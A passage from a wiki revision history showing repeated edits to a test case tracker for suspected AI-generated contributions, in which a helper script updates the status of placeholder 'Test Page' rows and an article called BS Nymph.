{{AIC article row|article=Test 9Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test10 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 11Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 12Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test13 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test14 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
}}
3sfugp8pm3ojahvuba2byrwjppdgn8f
768310
768309
2026-10-13T16:52:11Z
DVRTed
55993
Batch edited 3 rows (using [[User:DVRTed/AINB-helper|AINB-helper]])
768310
wikitext
text/x-wiki
{{AINB case banner |llmprod=undetermined |case_name=DVRTed |original_file_date=6 October 2026 |case_type=user |cleanup=analysis |conduct=review}}
== Discussion ==
{{Userlinks|DVRTed}}
This is a case! [[User:DVRTed|DVRTed]] ([[User talk:DVRTed|talk]]) 03:02, 6 October 2026 (UTC)
== Cleanup ==
{{InfoCard|content='''Tracker detail'''
* User: {{Userlinks|1=DVRTed}}
* Start date: 2022-12-01
* End date: 2026-10-07}}
{{AIC article list|
{{AIC article row|article=BS Nymph|status=requested|notes=22 edits: [[Special:Diff/765391|(+5)]] [[Special:Diff/762815|(+330)]] [[Special:Diff/762814|(-2679)]] [[Special:Diff/762811|(+88)]] [[Special:Diff/762776|(+331)]] [[Special:Diff/762774|(+90)]] [[Special:Diff/762772|(+283)]] [[Special:Diff/762716|(+88)]] [[Special:Diff/762713|(+88)]] [[Special:Diff/762710|(+88)]] [[Special:Diff/762707|(+318)]] [[Special:Diff/762691|(+318)]] [[Special:Diff/762688|(+88)]] [[Special:Diff/762686|(+318)]] [[Special:Diff/762684|(+88)]] [[Special:Diff/762682|(+88)]] [[Special:Diff/762681|(+88)]] [[Special:Diff/762678|(+318)]] [[Special:Diff/762677|(-88)]] [[Special:Diff/762676|(+88)]] [[Special:Diff/759773|(-85)]] [[Special:Diff/759772|(+85)]]}}
{{AIC article row|article=Test1 Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 2Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test3 Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 4Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 5Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test6 Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test7 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 8Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 9Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test10 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 11Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 12Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test13 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test14 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
}}
4lsk61em5z5vnt9ue1yl8yvp394k7rd
768311
768310
2026-10-13T16:53:21Z
DVRTed
55993
Updated row for [[Test 5Page 817876]] (using [[User:DVRTed/AINB-helper|AINB-helper]])
768311
wikitext
text/x-wiki
{{AINB case banner |llmprod=undetermined |case_name=DVRTed |original_file_date=6 October 2026 |case_type=user |cleanup=analysis |conduct=review}}
== Discussion ==
{{Userlinks|DVRTed}}
This is a case! [[User:DVRTed|DVRTed]] ([[User talk:DVRTed|talk]]) 03:02, 6 October 2026 (UTC)
== Cleanup ==
{{InfoCard|content='''Tracker detail'''
* User: {{Userlinks|1=DVRTed}}
* Start date: 2022-12-01
* End date: 2026-10-07}}
{{AIC article list|
{{AIC article row|article=BS Nymph|status=requested|notes=22 edits: [[Special:Diff/765391|(+5)]] [[Special:Diff/762815|(+330)]] [[Special:Diff/762814|(-2679)]] [[Special:Diff/762811|(+88)]] [[Special:Diff/762776|(+331)]] [[Special:Diff/762774|(+90)]] [[Special:Diff/762772|(+283)]] [[Special:Diff/762716|(+88)]] [[Special:Diff/762713|(+88)]] [[Special:Diff/762710|(+88)]] [[Special:Diff/762707|(+318)]] [[Special:Diff/762691|(+318)]] [[Special:Diff/762688|(+88)]] [[Special:Diff/762686|(+318)]] [[Special:Diff/762684|(+88)]] [[Special:Diff/762682|(+88)]] [[Special:Diff/762681|(+88)]] [[Special:Diff/762678|(+318)]] [[Special:Diff/762677|(-88)]] [[Special:Diff/762676|(+88)]] [[Special:Diff/759773|(-85)]] [[Special:Diff/759772|(+85)]]}}
{{AIC article row|article=Test1 Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 2Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test3 Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 4Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 5Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test6 Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test7 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 8Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 9Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test10 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 11Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 12Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test13 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test14 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
}}
9jo4cv9kkpyhqynf4tql4hop0gncz7k
768312
768311
2026-10-13T16:54:32Z
DVRTed
55993
Updated row for [[BS Nymph]] (using [[User:DVRTed/AINB-helper|AINB-helper]])
768312
wikitext
text/x-wiki
{{AINB case banner |llmprod=undetermined |case_name=DVRTed |original_file_date=6 October 2026 |case_type=user |cleanup=analysis |conduct=review}}
== Discussion ==
{{Userlinks|DVRTed}}
This is a case! [[User:DVRTed|DVRTed]] ([[User talk:DVRTed|talk]]) 03:02, 6 October 2026 (UTC)
== Cleanup ==
{{InfoCard|content='''Tracker detail'''
* User: {{Userlinks|1=DVRTed}}
* Start date: 2022-12-01
* End date: 2026-10-07}}
{{AIC article list|
{{AIC article row|article=BS Nymph|status=completed|notes=22 edits: [[Special:Diff/765391|(+5)]] [[Special:Diff/762815|(+330)]] [[Special:Diff/762814|(-2679)]] [[Special:Diff/762811|(+88)]] [[Special:Diff/762776|(+331)]] [[Special:Diff/762774|(+90)]] [[Special:Diff/762772|(+283)]] [[Special:Diff/762716|(+88)]] [[Special:Diff/762713|(+88)]] [[Special:Diff/762710|(+88)]] [[Special:Diff/762707|(+318)]] [[Special:Diff/762691|(+318)]] [[Special:Diff/762688|(+88)]] [[Special:Diff/762686|(+318)]] [[Special:Diff/762684|(+88)]] [[Special:Diff/762682|(+88)]] [[Special:Diff/762681|(+88)]] [[Special:Diff/762678|(+318)]] [[Special:Diff/762677|(-88)]] [[Special:Diff/762676|(+88)]] [[Special:Diff/759773|(-85)]] [[Special:Diff/759772|(+85)]]}}
{{AIC article row|article=Test1 Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 2Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test3 Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 4Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 5Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test6 Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test7 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 8Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 9Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test10 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 11Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 12Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test13 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test14 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
}}
lnuyzimhlrdqjq24apmv3142z4i7e0e
768313
768312
2026-10-13T16:54:36Z
DVRTed
55993
Updated row for [[Test1 Page 817876]] (using [[User:DVRTed/AINB-helper|AINB-helper]])
768313
wikitext
text/x-wiki
{{AINB case banner |llmprod=undetermined |case_name=DVRTed |original_file_date=6 October 2026 |case_type=user |cleanup=analysis |conduct=review}}
== Discussion ==
{{Userlinks|DVRTed}}
This is a case! [[User:DVRTed|DVRTed]] ([[User talk:DVRTed|talk]]) 03:02, 6 October 2026 (UTC)
== Cleanup ==
{{InfoCard|content='''Tracker detail'''
* User: {{Userlinks|1=DVRTed}}
* Start date: 2022-12-01
* End date: 2026-10-07}}
{{AIC article list|
{{AIC article row|article=BS Nymph|status=requested|notes=22 edits: [[Special:Diff/765391|(+5)]] [[Special:Diff/762815|(+330)]] [[Special:Diff/762814|(-2679)]] [[Special:Diff/762811|(+88)]] [[Special:Diff/762776|(+331)]] [[Special:Diff/762774|(+90)]] [[Special:Diff/762772|(+283)]] [[Special:Diff/762716|(+88)]] [[Special:Diff/762713|(+88)]] [[Special:Diff/762710|(+88)]] [[Special:Diff/762707|(+318)]] [[Special:Diff/762691|(+318)]] [[Special:Diff/762688|(+88)]] [[Special:Diff/762686|(+318)]] [[Special:Diff/762684|(+88)]] [[Special:Diff/762682|(+88)]] [[Special:Diff/762681|(+88)]] [[Special:Diff/762678|(+318)]] [[Special:Diff/762677|(-88)]] [[Special:Diff/762676|(+88)]] [[Special:Diff/759773|(-85)]] [[Special:Diff/759772|(+85)]]}}
{{AIC article row|article=Test1 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 2Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test3 Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 4Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 5Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test6 Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test7 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 8Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 9Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test10 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 11Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 12Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test13 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test14 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
}}
7wlxi2bmc1zi1py11nr5d0efn65avch
768314
768313
2026-10-13T16:54:39Z
DVRTed
55993
Updated row for [[Test 2Page 817876]] (using [[User:DVRTed/AINB-helper|AINB-helper]])
768314
wikitext
text/x-wiki
{{AINB case banner |llmprod=undetermined |case_name=DVRTed |original_file_date=6 October 2026 |case_type=user |cleanup=analysis |conduct=review}}
== Discussion ==
{{Userlinks|DVRTed}}
This is a case! [[User:DVRTed|DVRTed]] ([[User talk:DVRTed|talk]]) 03:02, 6 October 2026 (UTC)
== Cleanup ==
{{InfoCard|content='''Tracker detail'''
* User: {{Userlinks|1=DVRTed}}
* Start date: 2022-12-01
* End date: 2026-10-07}}
{{AIC article list|
{{AIC article row|article=BS Nymph|status=requested|notes=22 edits: [[Special:Diff/765391|(+5)]] [[Special:Diff/762815|(+330)]] [[Special:Diff/762814|(-2679)]] [[Special:Diff/762811|(+88)]] [[Special:Diff/762776|(+331)]] [[Special:Diff/762774|(+90)]] [[Special:Diff/762772|(+283)]] [[Special:Diff/762716|(+88)]] [[Special:Diff/762713|(+88)]] [[Special:Diff/762710|(+88)]] [[Special:Diff/762707|(+318)]] [[Special:Diff/762691|(+318)]] [[Special:Diff/762688|(+88)]] [[Special:Diff/762686|(+318)]] [[Special:Diff/762684|(+88)]] [[Special:Diff/762682|(+88)]] [[Special:Diff/762681|(+88)]] [[Special:Diff/762678|(+318)]] [[Special:Diff/762677|(-88)]] [[Special:Diff/762676|(+88)]] [[Special:Diff/759773|(-85)]] [[Special:Diff/759772|(+85)]]}}
{{AIC article row|article=Test1 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 2Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test3 Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 4Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 5Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test6 Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test7 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 8Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 9Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test10 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 11Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 12Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test13 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test14 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
}}
i04dxdawmfl6jlzcnebw6xdcfag28cz
768315
768314
2026-10-13T16:54:59Z
DVRTed
55993
Updated row for [[Test6 Page 817876]] (using [[User:DVRTed/AINB-helper|AINB-helper]])
768315
wikitext
text/x-wiki
{{AINB case banner |llmprod=undetermined |case_name=DVRTed |original_file_date=6 October 2026 |case_type=user |cleanup=analysis |conduct=review}}
== Discussion ==
{{Userlinks|DVRTed}}
This is a case! [[User:DVRTed|DVRTed]] ([[User talk:DVRTed|talk]]) 03:02, 6 October 2026 (UTC)
== Cleanup ==
{{InfoCard|content='''Tracker detail'''
* User: {{Userlinks|1=DVRTed}}
* Start date: 2022-12-01
* End date: 2026-10-07}}
{{AIC article list|
{{AIC article row|article=BS Nymph|status=requested|notes=22 edits: [[Special:Diff/765391|(+5)]] [[Special:Diff/762815|(+330)]] [[Special:Diff/762814|(-2679)]] [[Special:Diff/762811|(+88)]] [[Special:Diff/762776|(+331)]] [[Special:Diff/762774|(+90)]] [[Special:Diff/762772|(+283)]] [[Special:Diff/762716|(+88)]] [[Special:Diff/762713|(+88)]] [[Special:Diff/762710|(+88)]] [[Special:Diff/762707|(+318)]] [[Special:Diff/762691|(+318)]] [[Special:Diff/762688|(+88)]] [[Special:Diff/762686|(+318)]] [[Special:Diff/762684|(+88)]] [[Special:Diff/762682|(+88)]] [[Special:Diff/762681|(+88)]] [[Special:Diff/762678|(+318)]] [[Special:Diff/762677|(-88)]] [[Special:Diff/762676|(+88)]] [[Special:Diff/759773|(-85)]] [[Special:Diff/759772|(+85)]]}}
{{AIC article row|article=Test1 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 2Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test3 Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 4Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 5Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test6 Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test7 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 8Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 9Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test10 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 11Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 12Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test13 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test14 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
}}
q4kavcykk6e06qryzw84sdnyuotsplb
768316
768315
2026-10-13T16:55:05Z
DVRTed
55993
Updated row for [[Test10 Page 817876]] (using [[User:DVRTed/AINB-helper|AINB-helper]])
768316
wikitext
text/x-wiki
{{AINB case banner |llmprod=undetermined |case_name=DVRTed |original_file_date=6 October 2026 |case_type=user |cleanup=analysis |conduct=review}}
== Discussion ==
{{Userlinks|DVRTed}}
This is a case! [[User:DVRTed|DVRTed]] ([[User talk:DVRTed|talk]]) 03:02, 6 October 2026 (UTC)
== Cleanup ==
{{InfoCard|content='''Tracker detail'''
* User: {{Userlinks|1=DVRTed}}
* Start date: 2022-12-01
* End date: 2026-10-07}}
{{AIC article list|
{{AIC article row|article=BS Nymph|status=requested|notes=22 edits: [[Special:Diff/765391|(+5)]] [[Special:Diff/762815|(+330)]] [[Special:Diff/762814|(-2679)]] [[Special:Diff/762811|(+88)]] [[Special:Diff/762776|(+331)]] [[Special:Diff/762774|(+90)]] [[Special:Diff/762772|(+283)]] [[Special:Diff/762716|(+88)]] [[Special:Diff/762713|(+88)]] [[Special:Diff/762710|(+88)]] [[Special:Diff/762707|(+318)]] [[Special:Diff/762691|(+318)]] [[Special:Diff/762688|(+88)]] [[Special:Diff/762686|(+318)]] [[Special:Diff/762684|(+88)]] [[Special:Diff/762682|(+88)]] [[Special:Diff/762681|(+88)]] [[Special:Diff/762678|(+318)]] [[Special:Diff/762677|(-88)]] [[Special:Diff/762676|(+88)]] [[Special:Diff/759773|(-85)]] [[Special:Diff/759772|(+85)]]}}
{{AIC article row|article=Test1 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 2Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test3 Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 4Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 5Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test6 Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test7 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 8Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 9Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test10 Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 11Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 12Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test13 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test14 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
}}
bvyfbwhnkf4ers7567q2wbpqhlyqgmm
768317
768316
2026-10-13T16:55:26Z
DVRTed
55993
Updated row for [[Test 8Page 817876]] (using [[User:DVRTed/AINB-helper|AINB-helper]])
768317
wikitext
text/x-wiki
{{AINB case banner |llmprod=undetermined |case_name=DVRTed |original_file_date=6 October 2026 |case_type=user |cleanup=analysis |conduct=review}}
== Discussion ==
{{Userlinks|DVRTed}}
This is a case! [[User:DVRTed|DVRTed]] ([[User talk:DVRTed|talk]]) 03:02, 6 October 2026 (UTC)
== Cleanup ==
{{InfoCard|content='''Tracker detail'''
* User: {{Userlinks|1=DVRTed}}
* Start date: 2022-12-01
* End date: 2026-10-07}}
{{AIC article list|
{{AIC article row|article=BS Nymph|status=requested|notes=22 edits: [[Special:Diff/765391|(+5)]] [[Special:Diff/762815|(+330)]] [[Special:Diff/762814|(-2679)]] [[Special:Diff/762811|(+88)]] [[Special:Diff/762776|(+331)]] [[Special:Diff/762774|(+90)]] [[Special:Diff/762772|(+283)]] [[Special:Diff/762716|(+88)]] [[Special:Diff/762713|(+88)]] [[Special:Diff/762710|(+88)]] [[Special:Diff/762707|(+318)]] [[Special:Diff/762691|(+318)]] [[Special:Diff/762688|(+88)]] [[Special:Diff/762686|(+318)]] [[Special:Diff/762684|(+88)]] [[Special:Diff/762682|(+88)]] [[Special:Diff/762681|(+88)]] [[Special:Diff/762678|(+318)]] [[Special:Diff/762677|(-88)]] [[Special:Diff/762676|(+88)]] [[Special:Diff/759773|(-85)]] [[Special:Diff/759772|(+85)]]}}
{{AIC article row|article=Test1 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 2Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test3 Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 4Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 5Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test6 Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test7 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 8Page 817876|status=unnecessary|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 9Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test10 Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 11Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 12Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test13 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test14 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
}}
gib2e4zqhu5m7ufqv7r5hzt8h9gexkt
768318
768317
2026-10-13T16:55:28Z
DVRTed
55993
Updated row for [[Test 12Page 817876]] (using [[User:DVRTed/AINB-helper|AINB-helper]])
768318
wikitext
text/x-wiki
